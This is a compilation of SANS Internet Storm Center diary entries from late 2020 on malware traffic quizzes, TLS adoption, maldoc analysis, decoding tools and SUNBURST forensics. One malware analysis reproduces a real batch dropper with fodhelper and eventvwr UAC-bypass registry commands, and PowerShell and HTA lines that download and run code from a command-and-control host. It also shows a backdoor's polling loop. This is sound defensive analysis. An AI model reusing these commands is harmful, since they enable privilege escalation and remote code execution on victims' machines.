Introduction

I wanted to leave you all with one final traffic analysis quiz for Windows-based malware infection traffic.  You can find the pcaps here.  Today's exercise has 6 pcaps of different Windows-based malware infections.  Your task for this quiz?  Determine what type of malware caused the infection for each pcap.  I didn't provide any alerts like I've done for previous quizes.  Today's quiz is just a casserole of pcap files, cooked up, and served piping hot!

Shown above: A food-based visual for this end-of-year traffic analysis quiz.

A PDF document of answers is also included on the page I linked to earlier.  The answers contains associated IOCs for the infections that can be extracted from the pcaps.  But don't peek!  First, see how much you can determine from examining the pcaps.

Requirements

This type of analysis requires Wireshark.  Wireshark is my tool of choice to review pcaps of infection activity.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That's why I encourage people to customize Wireshark after installing it.  To help, I've written a series of tutorials.  The ones most helpful for this quiz are:

• Wireshark Tutorial: Changing Your Column Display
• Wireshark Tutorial: Display Filter Expressions
• Wireshark Tutorial: Identifying Hosts and Users
• Wireshark Tutorial: Exporting Objects from a Pcap

Furthermore, I  recommend using a non-Windows environment like BSD, Linux, or macOS to analyze malicious traffic.  Some of these pcaps contain HTTP traffic sending Windows-based malware.  If you're using a Windows host to review the pcaps, your antivirus (or Windows Defender) may delete the pcap or malware.  Worst case scenario?  If you extract the malware from the pcaps and accidentally run the files, you might infect your Windows computer.

So beware, because there's actual malware involved in parts of this quiz.

Final words

Hope everyone has a happy and healthy year as we enter 2021.

Again, the pcaps and answers for this end-of-year traffic analysis quiz can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

TLS 1.3 has been with us for couple of years now[1]. It has brought significant security improvements over previous TLS versions (as well as couple of slightly controversial ideas, such as the 0-RTT) and although its adoption is far from universal as of now, the number of servers which support it seems to be slowly increasing.

As you may see from the following chart, which is based on data I’ve gathered over the past three months from Shodan.io, TLS 1.3 was supported by over 20 percent of all HTTPS servers on the internet during the last quarter of 2020. And although the number has recently slightly fallen, the overall rising trend is clearly visible (see the trendline).

The increase in support of TLS 1.3 isn’t the only good news worth mentioning when it comes to the overall security of HTTPS traffic on the internet during the last quarter of 2020.  That is because the support for SSL 2.0 has been steadily dropping. At the beginning of October, the number of HTTPS servers supporting this outdated protocol fell bellow one million and currently only about 1.5 percent of all HTTPS servers on the internet still support its use.

The fact that there are still servers which support SSL 2.0 out there is of course far from ideal (last year, there were still even few internet banking portals, which still supported it[2]), but the numbers show that the situation is indeed getting better.

I’ll add that since some of our readers have reached out to me with requests for either data I’ve gathered from Shodan, or for the script I’ve used to get them, I’ve decided to open source the tool and I will publish it in January 2021. So if you’d like to gather your own data from Shodan about open ports, vulnerabilities or TLS support in your country or around the world, stay tuned…

-----------
Jan Kopriva
@jk0pr
Alef Nula

Back in February, I wrote a diary about a small vulnerability in Windows, which allows users to brute-force names of files in folders, which they don’t have permission to open/list[1]. While thinking on the topic, it occurred to me that a somewhat-complete list of files placed in a folder one can’t access due to lack of permissions might potentially be obtained by scanning the folder with an anti-malware solution, which displays files which are currently being scanned.

As you may see in the example above, names of scanned files are indeed displayed by some of the anti-malware solutions out there. And since most anti-malware tools run by necessity with high (i.e. SYSTEM level) privileges, and it is customary to allow any user to initiate a scan of arbitrary folder, this may easily lead to unexpected information disclosure (that is, unless the authors of the tool explicitly decided to stop users from scanning folders, for which they don’t have access permissions).

Admittedly, the impact of this would be rather low – unless the anti-malware solution logged the name of each scanned file in a way which would enable a user to read the entire log afterwards, it would be limited to disclosure of the names of files which the user would be able to see/record during the scan itself. Still, it might provide a way by which many anti-malware solutions might be used to bypass confidentiality controls set at the file system level.

Back in February, I decided to do a short test in order to see how large a portion of AV solutions might actually be abused this way. Since I didn’t intend to do a comprehensive analysis of all tools out there, I’ve limited the test to only 25 anti-malware tools from different vendors mentioned in the Wikipedia article on Comparison of antivirus software[2].

The results were quite interesting. Eight of the tools (i.e. approximately one third) didn’t scan contents of any folder, which was inaccessible to the user who initiated the scan, while the remaining seventeen did. Of these, eight did display the names of analyzed files during a scan.

One further point to note is that any of the 17 tools, which enabled users to scan arbitrary folders, might have been used in conjunction with Sysinternals Process Monitor[3] to discover names of all files in any folder (i.e. one would run ProcMon, initiate scan of a folder and then list all files in the relevant path which the anti-malware solution read).

Of course, as this would require local administrator permissions on the part of the user, it is hardly a major issue, since the user could simply change the permissions on the target folder in order to gain access to its contents. Using anti-malware tool in conjunction with ProcMon would however not result in creation of any suspicious audit trail, which might be left behind, were one to simply change the access permissions.

Although the confidentiality impact of the behavior described above was quite low, I contacted all vendors, whose tools I have determined might be abused in this manner. My assumption was that for those anti-malware tools, which enabled users to scan folders they didn’t have access to, this was the result of an intentional design decision on the part of their authors, but I wanted to be sure.

Not every company replied, but for most of those which did, my assumption proved to be correct as the behavior of their tools was confirmed to be intentional. In only two cases the behavior was deemed to constitute a potential security risk and the vendors decided to change it in subsequent updates.

Even though it is only a low impact issue, it is good to know that it exists. After all, if the results of the test were representative for anti-malware solutions at large, low privileged users might potentially be able to use about each third one to partially bypass file system permissions preventing them from listing contents of folders and local admins could completely bypass them with the help of anti-malware in two out of three cases.

[1] https://isc.sans.edu/forums/diary/Discovering+contents+of+folders+in+Windows+without+permissions/25816/
[2] https://en.wikipedia.org/wiki/Comparison_of_antivirus_software
[3] https://docs.microsoft.com/en-us/sysinternals/downloads/procmon

-----------
Jan Kopriva
@jk0pr
Alef Nula

As promised in diary entry "Corrupt BASE64 Strings: Detection and Decoding", I explain here how to shift bits with my translate.py tool:

Here is a BASE64 string (SGVsbG8sIHdvcmxkLg==) that decodes to "Hello, world.":

Corrupting this BASE64 string by removing the first character (S) means that it is no longer detected:

And truncating the length to a multiple of 4 (with Python function L4) makes that it gets detected, but not decoded properly:

We then proceeded in diary entry "Corrupt BASE64 Strings: Detection and Decoding" to manipulate the input BASE64 string so that we arrived at a decoded string we could recognize.

Here, in stead of manipulating the input BASE64 string, I'm manipulating the output by shifting bits.

Each character in a BASE64 string represents 6 bits. So I will bit shift the output with 2, 4 and 6 bits to the right using my translate.py tool like this (this command shifts the complete byte sequence, not individual bytes):

The result here is that a bit shift to the right of 6 bits results in a decoded BASE64 string that we can recognize.

With this we know that it is likely that we are missing one BASE64 character at the beginning, and thus we can try fixing it like explained in previous diary entry.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

I explained to a friend that my tool base64dump.py, despite its name, does support many other encodings than BASE64. For example, it can detect and decode hexadecimal strings too.

To select a different encoding than BASE64, use option -e followed with the name of the encoding, for example: -e hex.

To know which encodings are supported by my tool, use the help (-h) or man (-m) option:

Or use -e ?:

While reviewing the supported encodings, I decided to add support for a new encoding: sequences of decimal numbers, for example found in FireEye's maldocs. In that diary entry, I used my tool numbers-to-string.py to do the decoding, however, in this diary entry I'll show how to use the new version of my tool base64dump.py. Remark that numbers-to-string.py is more versatile to decode sequences of decimal numbers than base64dump.py, as it can take a Python expression to transform each number. If you want to know more about this feature, take a look at diary entry "Small Challenge: A Simple Word Maldoc - Part 2".

Here is method to analyze FireEye's maldocs using base64dump. I use my base64dump.py tool directly to analyze the maldoc (I don't use oledump). I use option "-e all" to let base64dump search for all possible encodings in this binary file (e.g. the maldoc). Since this usually produces a long list of detections (due to very short strings, like numbers), I use option "-n 10" to limit the output. Option "-n 10" specifies that the minimum length of the decoded string is 10 (bytes), shorter strings will not be displayed. Finally, I also use option -u to obtain a list of unique strings (e.g. remove duplicates):

My tool produces a list of all possible strings, sorted by length: the longest strings are listed last. I use this option (-e all) when I don't know what possible strings to expect inside a sample.

With this output, it's easy to see that 2 very long strings were detected (248517 and 249791 bytes long) that match decimal encoding (dec): a long list of decimal numbers separated by a character (; in this sample).

Next I use encoding dec explicitly (-e dec):

The difference with using option "-e dec" in stead of option "-e all", is that now each string is labelled with an index number allowing easy selection, and that the output is not sorted by string length, but strings appear in the order they are found inside the analyzed file.

In this output (and previous output too), I see that when these 2 long strings are decoded, they start with PK.. : they are probably ZIP files.

Selecting the first long string (-s 3) and piping the decoded, binary data (-d) into my tool zipdump.py confirms that this is a ZIP file:

And the same is true for the second long string (-s 4):

This example shows that for these FireEye's maldocs, one can quickly extract the payload using my new version of base64dump.py.

If you compare this method with the previous method, you'll probably ask yourself why I did use oledump in the previous method, and not in this method.

There are 2 reasons:

1) numbers-to-string.py is a tool that expects text as input (one string per line), and not binary data. I used oledump.py with a plugin in the previous method to produce a list of strings, that can be handled by numbers-to-string.py.

2) in this sample, the streams are not "fragmented". ole files (like .doc, .xls, ...) store data inside streams, and streams are made up of "virtual sectors". It's not a requirement that the sectors that make up a stream are stored consecutively. When that is not the case, streams are "fragmented", and then long strings inside these streams can become fragmented too. oledump.py parses ole files, and handles fragmentation: when a stream is selected for processing, the data is presented sequentially, and fragmentation is not an issue. Would this sample have been fragmented, then the output of base64dump would list many "dec" strings, and it would be necessary to use oledump to select the stream(s), and pipe it into base64dump.

 

 

 

Didier Stevens

Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Yesterday, Xavier showed how to start analyzing a malicious Word document with my oledump.py tool.

Some time ago, I wrote a diary entry about string analysis: "Quickie: String Analysis is Still Useful", and would like to remark that this is another method to start analyzing the maldoc Xavier mentioned yesterday:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Here is an interesting malicious Word document that I spotted yesterday. This time, it does not contain a macro but two embedded objects that the victim must "activate" (click on one of them) to perform the malicious activities. The document (SHA256:ba6cc16770dc67c1af1a3e103c3fd19a854193e7cd1fecbb11ca11c2c47cdf04) has a VT score of 20/62[1]:

A quick analysis with oledump.py reveals indeed the presence of two embedded objects (the "0" indicator):

remnux@remnux:~$ oledump.py ba6cc16770dc67c1af1a3e103c3fd19a854193e7cd1fecbb11ca11c2c47cdf04.doc.vir 
  1:       114 '\x01CompObj'
  2:       280 '\x05DocumentSummaryInformation'
  3:       416 '\x05SummaryInformation'
  4:      7338 '1Table'
  5:      4096 'Data'
  6: O    1329 'ObjectPool/_1670067230/\x01Ole10Native'
  7:         6 'ObjectPool/_1670067230/\x03ObjInfo'
  8: O    1536 'ObjectPool/_1670067231/\x01Ole10Native'
  9:         6 'ObjectPool/_1670067231/\x03ObjInfo'
 10:      4096 'WordDocument'

You can extract them via oledump.py or directly from the document (if you have a Word in your sandbox). Both objects are the same and contain a Windows batch fime. Note the double extension:

• HIRING FORM.DOC.bat
• CONDITIONS OF THE CONTRACT.PDF.bat

Here is the content (beautified):

@echo Off
for /f "tokens=2 delims=," %%i in ('wmic os get caption^,version /format:csv') do set os=%%i
echo %os%|find " 10 ">nul 
  && reg add HKCU\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f 
  && reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "cmd.exe /c powershell -WindowStyle Hidden -command \"IEX (New-Object Net.WebClient).DownloadFile('hxxp://23[.]98[.]155[.]192/sc.bat', 'C:\Users\Public\Libraries\sc.bat');\" C:\Users\Public\Libraries\sc.bat" /f 
  && START /W fodhelper.exe 
  && reg delete HKCU\Software\Classes\ms-settings /f||reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "cmd.exe /c powershell -WindowStyle Hidden -command \"IEX (New-Object Net.WebClient).DownloadFile('hxxp://23[.]98[.]155[.]192/sc.bat', 'C:\Users\Public\Libraries\sc.bat');\" C:\Users\Public\Libraries\sc.bat" /f 
  && START /W eventvwr.exe 
  && reg delete HKEY_CURRENT_USER\Software\Classes\mscfile /f

This script will test the operating system version and if the victim's computer is running Windows 10, two UAC bypass techniques are attempted:

The first one targets 'fodhelper.exe' by creating a registry key 'HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute'. The second one targets 'eventvwr.exe'. This is a common technique used for a while by attackers.

The privileged command executes a simple Powershell script that fetches the next stage payload and executes it. This 'sc.bat' is heavily obfuscated:

This file contains Chinese characters but interesting strings can be extracted:

remnux@remnux:~$ strings -n 20 sc.bat 
=R7cBqDS KFeZWNzhyTrOCGUE3gmujl4@dnxQk0wvbVYIi5aJ8HM1tA2o6L9XfspP"
%ImJ:~44,1%%ImJ:~41,1%%ImJ:~31,1%%ImJ:~1,1%%ImJ:~7,1%"
=%ImJ:~54,1%%ImJ:~34,1%%ImJ:~55,1%%ImJ:~40,1%%g
%%ImJ:~43,1%%ImJ:~53,1%%ImJ:~26,1%%ImJ:~3,1%%
%%ImJ:~61,1%%ImJ:~46,1%%ImJ:~31,1%%ImJ:~24,1%%ImJ:~18,1%%ImJ:~41,1%%ImJ:~16,1%%ImJ:~57,1%%ImJ:~20,1%%ImJ:~52,1%%ImJ:~23,1%%ImJ:~35,1%%ImJ:~8,1%%ImJ:~42,1%%ImJ:~17,1%%ImJ:~62,1%%
%%ImJ:~9,1%%ImJ:~50,1%%ImJ:~6,1%%ImJ:~14,1%%ImJ:~44,1%%ImJ:~25,1%%ImJ:~36,1%%ImJ:~59,1%%ImJ:~30,1%%ImJ:~39,1%%ImJ:~22,1%%AJ
%%ImJ:~15,1%%ImJ:~47,1%%ImJ:~12,1%%ImJ:~45,1%%ImJ:~56,1%%ImJ:~5,1%%ImJ:~1,1%%ImJ:~32,1%%
%%ImJ:~38,1%%ImJ:~10,1%%ImJ:~2,1%%ImJ:~0,1%%ImJ:~29,1%%ImJ:~48,1%%ImJ:~13,1%%ImJ:~28,1%%ImJ:~37,1%%ImJ:~58,1%%ImJ:~51,1%%ImJ:~63,1%%ImJ:~49,1%%ImJ:~7,1%%ImJ:~19,1%%ImJ:~11,1%%ImJ:~21,1%%ImJ:~27,1%%ImJ:~33,1%%ImJ:~60,1%%ImJ:~4,1%"
%bIY:~45,1%%bIY:~38,1%%bIY:~57,1%%bIY:~6,1%%bIY:~23,1%"
%bIY:~35,1%%bIY:~56,1%=%bIY:~43,1%%N
%%bIY:~29,1%%bIY:~12,1%%bIY:~38,1%%bIY:~28,1%%bIY:~49,1%%bIY:~37,1%%bIY:~51,1%%bIY:~33,1%%bIY:~32,1%%
%%bIY:~24,1%%bIY:~46,1%%bIY:~11,1%%bIY:~31,1%%bIY:~63,1%%bIY:~7,1%%bIY:~36,1%%bIY:~40,1%%bIY:~1,1%%bIY:~50,1%%bIY:~42,1%%bIY:~48,1%%bIY:~61,1%%
m%%bIY:~25,1%%bIY:~34,1%%bIY:~45,1%%bIY:~0,1%%bIY:~19,1%%bIY:~39,1%%bIY:~2,1%%bIY:~60,1%%bIY:~30,1%%bIY:~20,1%%bIY:~4,1%%bIY:~62,1%%bIY:~57,1%%bIY:~10,1%%bIY:~58,1%%bIY:~5,1%%
F%%bIY:~22,1%%bIY:~53,1%%bIY:~41,1%%bIY:~56,1%%Pc
M%%bIY:~27,1%%bIY:~21,1%%bIY:~23,1%%bIY:~26,1%%_
YW%%bIY:~8,1%%bIY:~6,1%%bIY:~59,1%%bIY:~3,1%%bIY:~17,1%%bIY:~16,1%%bIY:~14,1%%bIY:~9,1%%bIY:~35,1%%bIY:~44,1%%bIY:~47,1%%bIY:~13,1%%bIY:~15,1%%bIY:~55,1%%bIY:~52,1%%bIY:~18,1%%bIY:~54,1%%
:~54,1%://hpsj[.]firewall-gateway[.]net:80/hpjs.php');\""
:~54,1%://hpsj[.]firewall-gateway[.]net:8080/MicrosoftUpdate"%bK
:~60,1%://is[.]gd/xbQIQ2','C:\Users\Public\Libraries\pus.bat');"%bK
:~62,1%:\Users\Public\Libraries\pus.bat
:~54,1%://hpsj[.]firewall-gateway[.]net:8080/MicrosoftUpdate'%bK
:~62,1%:\Users\Public\Libraries\pus.bat'%bK
:~54,1%://hpsj[.]firewall-gateway[.]net:8080/MicrosoftUpdate
:~54,1%://hpsj[.]firewall-gateway[.]net:80/hta

It downloads more malicious code from URLs present in the file.

The first one from hxxp://hpsj.firewall-gateway.net/hta:

var cm="powershell -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('hxxp://hpsj[.]firewall-gateway[.]net:80/hpjs.php'));";
var w32ps= GetObject('winmgmts:').Get('Win32_ProcessStartup');
w32ps.SpawnInstance_();
w32ps.ShowWindow=0;
var rtrnCode=GetObject('winmgmts:').Get('Win32_Process').Create(cm,'c:\\',w32ps,null);

The returned data contains Powershell code that is executed through the 'IEX' command. 

The second script from hxxp://hpsj.firewall-gateway[.]net:8080/MicrosoftUpdate exfiltrates information about the victim to the C2:

Now, let's have a look at the Powershell code retrieved above. It's a backdoor that keeps contact with the C2 via simple HTTP requests:

while($true){
    try{
    $command_raw = $wc2.downloadString("hxxp://hpsj[.]firewall-gateway[.]net:80/view/$IHW");
    }catch{
    $failure_counter=$failure_counter +1;
    if ($failure_counter -eq 10){
    kill $pid
    }
    }

The variable "$IHW" identifies the victim. The following commands are:

• Report: To return information about the victim (processes, IP address, etc)
• Download: To retrieve a file
• reset-ps: To reset the Powershell session 
• Any other command is interpreted via 'Invoke-Expression'

All communications occur on top of HTTP but data are AES encrypted. Checking deeper, we are facing an Octopus[2] backdoor. This framework has been developed to help red teams to compromise and gather information from victims. In this case, it was not an exercise but a real phishing campaign targeting specific users.

I wish you a Merry Christmas and stay safe!

[1] https://www.virustotal.com/gui/file/ba6cc16770dc67c1af1a3e103c3fd19a854193e7cd1fecbb11ca11c2c47cdf04/detection
[2] https://github.com/mhaskar/Octopus

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

A couple of weeks ago, I assisted Xavier when he taught FOR610 in (virtual) Frankfurt. Last week, one of our students (Nicklas Keijser) sent us this analysis that we decided to share as a guest diary. 

---

Introduction

This is a quick rapport how to extract IoC:s from the latest sample of the Dridex droppers we have encountered. The stage 2 url:s that are called upon after infection are heavily obfuscated and with this method we were able to extract them all from each document.

Analysis

When performing dynamic analysis on the document it was noticed that different and random url:s was contacted every time the macro was enabled.

The sample that was analyzed is
File name: 12072020_383287_7924204.xlsm

md5sum:d5b40faa134ee1e73233e521ac476cdd

If the macro is enabled it will contact the stage 2 server and delete the macro itself. To be able to enter debug mode the Developer ribbon was added in Excel.

When the document is opened in Visual Basic the code is “looked” and it is not possible to view or edit the code.

To make the code visible and possible to edit the tool Evil Clippy was used:

hXXps[:]//github[.]com/outflanknl/EvilClippy

 

Used the with the option -uu it unlocks the part that is protected and creates a new document.

If the new document is opened within the Developer view the code is now visible.

The code builds up the the url:s and other function of its code by adding together different cells within the document. The numbers in the cells are written in white with white background, to hide it from the user, but if the document is marked the different numbers appears.

After analysing the code it is noticed that the url are built up and stored in the Variant called cc. If a break point is placed when the Variant cc is called and the macro is activated all the url:s reveal themselves.

In the version of debugger used in this analysis it wasn’t possible to copy all the values at the same time so the following code was added to write out the Variant variable to a file in the folder C:\temp.

*******************************

Open "C:\temp\output.txt" For Output As #1

# This line already existed

Randomize: mc = 1: ecutior = cc(Int((UBound(cc) + mc) * Rnd))

For i = 0 To 54

    Write #1, cc(i)

    Next i

Close #1

*******************************

Finally all the url:s was written to a file and can be used as IoC:s

---

IOCs can be found here: https://isc.sans.edu/diaryimages/ioc-12072020_383287_7924204.txt

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

Last week, I found a malware sample that does nothing fancy, it's a data stealer but it has an interesting feature. It's always interesting to have a look at the network flows generated by malware samples. For a while, attackers use GeoIP API services to test if the victim's computer deserves to be infected... or not! By checking the public IP address used by the victim, an attacker might prevent "friends" to be infected (ex: IP addresses from the attacker's country) or if the IP address belongs to a security vendor. On the other side, the attacker might decide to infect the computer because it is located in a specific country or belongs to the targeted organization. There is plenty of free APIs that offer this feature. The ISC API provides also the same kind of details (but only the country)

remnux@remnux:~$ curl -s https://isc.sans.edu/api/ip/195.74.193.12?json | jq '.ip.ascountry'
"BE"

The sample that I found (SHA256:D196E2BBCAF21D3335D72F8E2F2691474BA625E6B01C4DB41A1F91FC41A5EBDF) has a VT score of 41/69[1]. It uses the .Net framework tool regsvcs.exe[2] to execute malicious code extracted by the first stage file. The malware performs the following queries. First, it queries for the victim's public IP address with the help of icanhazip.com:

remnux@remnux:~$ curl -s http://icanhazip.com/
81.246.x.x

The second service used is api.mylnikov.org:

remnux@remnux:~$ curl -s 'https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:0c:29:xx:xx:xx'
{"result":404, "data":{}, "message":6, "desc":"Object was not found", "time":1608552093}

This free service provides geolocation data for WiFi MAC addresses or BSSID. This is also useful to detect the location of the victim. The malware submits the MAC address of the default gateway (in my VM environment) or the BSSID (the MAC address of the wireless access point). In my case, it did not work of course but here is an example of valid BSSID:

remnux@remnux:~$ curl -s 'https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:0C:42:1F:65:E9'
{"result":200, "data":{"lat": 45.22038682066, "range": 141.727, "lon": 16.54741327415, "time": 1608560868}} 

You can see that only latitude and longitude are returned in the JSON data but it's easy to get back the country/city using another public service:

remnux@remnux:~$ curl -s 'https://geocode.xyz/45.22,16.54?geoit=json'| jq '.state'
"BA"

"api.mylnikov.org" seems to be an interesting observable! 

[1] https://www.virustotal.com/gui/file/d196e2bbcaf21d3335d72f8e2f2691474ba625e6b01c4db41a1f91fc41a5ebdf/detection
[2] https://docs.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool
[3] https://www.mylnikov.org

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Over the last few months a few groups I am involved with have been discussing openportstats.com.  They first came to my attention in May of 2020. At that time a number of ISPs indicated attempted DOS by IPs in Russia (ASN202425).  The volume of traffic was not really big enough to do any harm, but in some cases the volume of network traffic was causing issues for some devices and causing congestion on some low speed links.

In July the traffic reappeared. 

One firewall was showing 330,000 blocked port scan events an hour. With some free time for research, the path led to the website openportstats.com, a website hosted in France, and purporting to be IoT researchers.  In fact in late July the ISC added openportstats to our list of known researchers. 

Starting in September, the scans became almost continuous.

I recently attempted to contact them using the two email addresses listed on their website, and both emails were returned "server not available". 

I am all for supporting security research, but none of the other various scanners and crawlers which contribute to the background noise of the Internet are causing the level of impact openportstats.com is.  Their scans are clumsy and overly aggressive and given my lack of luck attempting to contact them I am having to question the legitimacy of these researchers and their research.  

If you have also experienced impact from their scans, or know anyone associated with openportstats.com, I would love to hear about it via comments on this diary or through our contact page.

 

Update:  A reader pointed out that the IPs are not actually in Russia, but rather in the Netherlands.  Some of the IP ranges are registered to Russian IP addresses, but  AS204655 and AS202425 are both hosted near Amsterdam by  IP Volume Inc which is formerly known as Ecatel.  Ecatel and its progeny have a somewhat notorious history.

 

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

A quick heads-up to those of you that use Sysinternals tools like Process Explorer to check PE files on VirusTotal: this is not working for the moment.

We've had reports and saw Tweets about this issue in the past days.

We confirm there is an issue: a check for notepad.exe with Process Explorer results in a not-found reply:

{"data": [{"found": false, "hash": "C401CD335BA6A3BDAF8799FDC09CDC0721F06015"}], "result": 1}

Let's hope this gets sorted out after the weekend.

Update: I was asked how I obtained VirusTotal's not-found reply. I used a debugging proxy server (Fiddler), details are in this video:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Less than 2 weeks after release 3.4.1, there's already another release of Wireshark: 3.4.2.

That's probably because of bug 17075: Wireshark 3.4.1 hangs on startup on macOS Big Sur 11.0.1.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

In the past, I have published a couple diaries on Elasticsearch for pihole and tcp-honeypot to parse and report on the data capture by those applications.

This document is a compilation of the various references listed in the PDF document (here as well), it documents step-by-step the processes I have been using to setup TLS encryption within my test network. Using Elasticsearch elasticsearch-certutil tool in CA mode, it simplifies the creation of certificates and generates a new certificate authority (CA) to use within the local ELK infrastructure. These steps provide secure communication for Linux and Windows between Elasticsearch nodes, Kibana, logstash and the various beats.

The complete installation document TLS_elasticsearch_configuration.pdf can be viewed here.

[1] https://handlers.sans.edu/gbruneau/elk/TLS_elasticsearch_configuration.pdf
[2] https://isc.sans.edu/forums/diary/ELK+Dashboard+for+Pihole+Logs/25652/
[3] https://isc.sans.edu/forums/diary/ELK+Dashboard+and+Logstash+parser+for+tcphoneypot+Logs/25702/
[4] https://www.elastic.co/guide/en/elasticsearch/reference/current/configuring-tls.html
[5] https://www.elastic.co/guide/en/elasticsearch/reference/current/certutil.html
[6] https://www.elastic.co/blog/configuring-ssl-tls-and-https-to-secure-elasticsearch-kibana-beats-and-logstash
[7] https://www.elastic.co/guide/en/elasticsearch/reference/master/encrypting-communications-certificates.html
[8] https://www.elastic.co/blog/elasticsearch-security-configure-tls-ssl-pki-authentication
[9] https://techexpert.tips/elasticsearch/elasticsearch-enable-tls-https/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Since we could all probably use a little distraction from the current Solarigate/SUNBURST news[1,2,3], I thought it might be good to look at something a little bit more positive today. Specifically, at how patching of CVE-2019-19781 AKA “Shitrix” AKA “one of the more famous named vulnerabilities from the end of 2019” went.

Given that my last couple of diaries dealing with vulnerabilities discussed mainly the surprisingly high number of systems still affected by fairly old CVEs[4,5], you might reasonably ask what “positive” information might await us in this one with regards to Shitrix. In its case, however, the situation truly seems to have taken a turn for the better during 2020.

You may remember that Xavier covered the number of unpatched systems accessible from the internet in May[6] and the situation has been steadily improving since then. Based on data from Shodan, it seems that only approximately 4.5 % of the originally affected number of machines are still vulnerable.

Don’t get me wrong – since vulnerable Citrix ADCs may provide (in the case of systems which are still vulnerable read “have almost certainly already provided”) a way for attackers into internal networks, even one exposed vulnerable machine is one too many. We only need to look to the Düsseldorf University Hospital ransomware attack[7] to see how significant issue an exploitation of a system affected by Shitrix many months after the first exploit was published[8] may be.

But when we compare the significant decrease in the number of systems affected by CVE-2019-19781 in 2020 with the much slower decrease we’ve seen for SMBGhost[4] or even BlueKeep[5], the situation does seem much more optimistic. We can of course hardly compare the impact of a vulnerability like Shitrix with the impact of a trojanized software update for a critical network management system, so let us hope that the response to the crisis currently facing us will be even faster than that...

Although even when it comes to and NMS such as SolarWinds Orion, one can hardly expect that all of the affected systems would eventually be free of malicious code, since not all organizations have the wherewithal to monitor security issues and mitigate them. Or, as Johannes recently put it, “some organizations care, others do not”[9].

[1] https://isc.sans.edu/forums/diary/SolarWinds+Breach+Used+to+Infiltrate+Customer+Networks+Solarigate/26884/
[2] https://www.bleepingcomputer.com/news/security/solarwinds-hackers-breach-us-nuclear-weapons-agency/
[3] https://www.reuters.com/article/us-global-cyber-microsoft-idUSKBN28R3BY
[4] https://isc.sans.edu/forums/diary/SMBGhost+the+critical+vulnerability+many+seem+to+have+forgotten+to+patch/26732/
[5] https://isc.sans.edu/forums/diary/Heartbleed+BlueKeep+and+other+vulnerabilities+that+didnt+disappear+just+because+we+dont+talk+about+them+anymore/26798/
[6] https://isc.sans.edu/forums/diary/Flashback+on+CVE201919781/26178/
[7] https://www.zdnet.com/article/first-death-reported-following-a-ransomware-attack-on-a-german-hospital/
[8] https://isc.sans.edu/forums/diary/Citrix+ADC+Exploits+Update/25724/
[9] https://www.sans.org/newsletters/newsbites/xxii/91

-----------
Jan Kopriva
@jk0pr
Alef Nula

The current Solarwinds/Sunburst/Fireeye incident and its associated command&control (C2) traffic to avsvmcloud[.]com domains [1] have spurred potentially affected Solarwinds customers to searching their logs and data for any presence of this C2 domain. While the Snort IDS rules published by FireEye [2] would detect any currently ongoing traffic to the C2 domain, they are of no use in an attempt to answer the question if any such connections were made in the past. Given the timeline of the incident, ranging as currently known from March 2020 to today, this isn't a straight forward search.

What helps in such a scenario are:
a) Full packet captures on the Internet uplink
b) Logs of the DNS resolver
c) Logs of any proxy server or gateway used to connect to the Internet

With today's bandwidths and data volumes, full packet capture is probably not practical except for deep-pocketed institutions. And I'm guessing that even for them, >6 months of retention will be a stretch. Logs of the DNS resolver can be retained more readily, because they usually compress nicely, and can even be indexed into a first seen / last seen database for use as a "Passive DNS" [3]. And lastly, proxy or firewall logs, are only a partial indicator at best in this scenario, because these logs likely wouldn't register if the C2 domain was just DNS-resolved by the implant, but the malware then subsequently remained dormant.

And in any case, all of these network forensics countermeasures mentioned so far describe what many companies have available in their "legacy IT" environment or on-premises network. Fast forward to "The Cloud", and things begin to look a lot more murky. Unless significant architectural effort has been spent on network design and egress filtering, virtual machines (VMs) in both Azure and AWS have direct connectivity to the Internet, and make use of a Microsoft / Amazon provided DNS resolver.

In Azure, a VM can be configured to have a Private DNS Zone, but the ability for Azure Firewall to log any DNS name resolution is a feature that only became available very recently [4,5]. The same is the case for Amazon, where Resolver Query Logging from private VNets is an equally recent feature [6].

Consequently, it is fair to assume that most Azure and AWS deployments today won't have DNS resolver logs available, and therefore don't have any straight forward way to determine if their Azure/AWS environment ever reached out to the SUNBURST domains in the recent months. While there are developments like DNS-over-HTTPS (DoH) that may render DNS logs less useful in future, for the time being, passive DNS / DNS resolver logs are still a must-have. The pivot points this provides for network forensics and timeline analysis are just too valuable. Hence, if your on-premises network has such DNS resolver logs available, but your Cloud doesn't, maybe this is one of the items that should make it onto your to-do list for 2021.

[1] https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
[2] https://github.com/fireeye/sunburst_countermeasures/blob/main/all-snort.rules
[3] https://isc.sans.edu/diary/Running+your+Own+Passive+DNS+Service/24784
[4] https://azure.microsoft.com/en-us/blog/new-enhanced-dns-features-in-azure-firewall-now-generally-available/
[5] https://docs.microsoft.com/en-us/azure/firewall/logs-and-metrics
[6] https://aws.amazon.com/about-aws/whats-new/2020/08/amazon-route-53-resolver-supports-vpc-dns-query-logging/

